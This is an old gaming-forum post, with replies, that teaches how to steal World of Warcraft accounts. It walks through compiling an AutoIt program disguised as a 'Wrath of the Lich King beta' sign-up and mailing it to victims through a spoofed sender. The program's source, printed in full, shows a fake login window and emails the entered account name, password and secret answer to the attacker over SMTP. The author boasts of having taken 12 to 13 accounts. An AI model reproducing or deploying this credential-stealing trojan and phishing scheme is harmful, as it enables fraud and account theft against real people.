[Putting it all together] WotLK Scam with AutoIT and fakemail! -
02-10-2008
Hello dear guys, since I scammed 12 Accounts with this I am going to teach you how to scam with autoit. It will be in german and in English!
Follow me Step by step and you are going to get rich!
1. Creat a Email adress at [Only registered and activated users can see links. ] or [Only registered and activated users can see links. ]
2. Download autoIT ([Only registered and activated users can see links. ])
3. Download my filestuf here:
GERMAN: [Only registered and activated users can see links. ]
ENGLISH: [Only registered and activated users can see links. ]
4. Extract my filestuf in a folder
5. Rightclick on your "WotLKBetaScam.au3"
6. Select "Edit Script"
7. Go to line 91 there should be:
Lets say our email adress is [Only registered and activated users can see links. ] and our pw is: cool. lets change:
Code:
= _INetSmtpMailCom("smtp.mail.yahoo.de", , "[Only registered and activated users can see links. ]", "[Only registered and activated users can see links. ]", "WoWAccount", , "", "", "", "mmowned", "cool", 465, 1)
8. Save your Edited file as "SignUp.au3"
9. Rightclick onto SignUp.au3 and select "Compile to SignUp.exe"
10. Make an archive with WinRAR or WinZp.
11. Put the files in: Library.dll and SignUp.exe THESE TWO FILES NEED TO BE TOGETHER!!!!
12. Now rename the *.ZIP something like WotLKSignUp.Zip
13. go to: [Only registered and activated users can see links. ]
14. Download My HTML stuff from: [Only registered and activated users can see links. ]
15. Open your desired file (German or English)
16. In the Firefox or IE, click onto Ansicht(Dont know what it is in english, but its CTRL-A)
17. View Sourcecode
18. Copy the hole source code
19. Go into the fakemailer again
20. put that in:
Code:
From: [Only registered and activated users can see links. ]
To: <somebodys email adress>
Title: You have been choosen! // Ihr wurdet ausgewählt!
Attach: You Library.dll and SignUp.exe archieve.
C-Type: Html/text
text: paste your source code in here.
21. Click send
22. check your yahoo account!
I scamed 13 accounts in a week!
Edit: My code:
Code:
#include <GuiConstants.au3>
#Include <file.au3>
MsgBox( 0, "WotLK Beta registration", "Verwenden Sie einen gültigen World of Warcraft-Account zum registieren.")
Func _INetSmtpMailCom(, , , , = "", = "", = "", = "", = "", = "", = "",=25, =0)
= ObjCreate("CDO.Message")
.From = '"' & & '" <' & & '>'
.To =
Local = 0
Local = ""
If <> "" Then .Cc =
If <> "" Then .Bcc =
.Subject =
If StringInStr(,"<") and StringInStr(,">") Then
.HTMLBody =
Else
.Textbody = & @CRLF
EndIf
If <> "" Then
Local = StringSplit(, ";")
For = 1 To
= _PathFull ()
If FileExists() Then
.AddAttachment ()
Else
= & @lf & 'File not found to attach: ' &
SetError(1)
return 0
EndIf
Next
EndIf
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") =
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") =
;Authenticated SMTP
If <> "" Then
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") =
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") =
EndIf
If Then
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
.Configuration.Fields.Update
; Sent the Message
.Send
if @error then
SetError(2)
return
EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
= Hex(.number, 8)
=
= StringStripWS(.description,3)
ConsoleWrite("### COM Error ! Number: " & & " ScriptLine: " & .scriptline & " Description:" & & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc ;==>MyErrFunc
GuiCreate("Wrath of the Lich King - Beta Account registration", 640,487, -1, -1, -1, )
GuiCtrlCreatePic("Library.dll",0,0,640,487)
GuiCtrlSetState(-1,)
=GUICtrlCreateInput ("", 260,220,150,20,)
=GUICtrlCreateInput ("", 260,270,150,20,+)
; BUTTON
= GuiCtrlCreateButton("Login", 255,305,70,20)
= GuiCtrlCreateButton("Cancel", 345,305,70,20)
; GUI MESSAGE LOOP
GuiSetState()
While 1
= GUIGetMsg()
Select
Case =
ExitLoop
Case =
= GUICtrlRead()
= GUICtrlRead()
= InputBox("Geheimfrage", "<Hier Geheimfrage einfügen!!>", "")
= "Accountname: " & @CRLF & & @CRLF & "Password:" & @CRLF & & @CRLF &"Antwort:" & @CRLF &
= _INetSmtpMailCom("smtp.mail.yahoo.de", , "[Only registered and activated users can see links. ]", "[Only registered and activated users can see links. ]", "WoWAccount", , "", "", "", "MMOWNED", "PASSWORD", 25, 0)
MsgBox( 0, "Registierung abgeschlossen", "Sie erhalten zum Start der Wrath of the Lich King Beta einen Key, mit dem Sie ihren Betaaccount freischalten können. Nochmaliges Ausfüllen der Registrierung hat keine Auswirkung mehr.")
ExitLoop
Case =
ExitLoop
EndSelect
WEnd
FIX: [Only registered and activated users can see links. ]
At the moment I dont know which one is right, because mine is still working!
DOnt try to use tthis on me i dont wanna lose my lv 53 rogue XD
+rep 4x!
[Only registered and activated users can see links. ][Only registered and activated users can see links. ] [Only registered and activated users can see links. ]
Okay, i got an error when opening the scam file "AutoIt Error" Line -1 Error: Error in experssion.
And why do i have to write in my email password in the editor?
I'm 14 years old, I'm an alone father. Support me and my child by donating. Donate to my paypal account: emildonkild(at)hotmail.com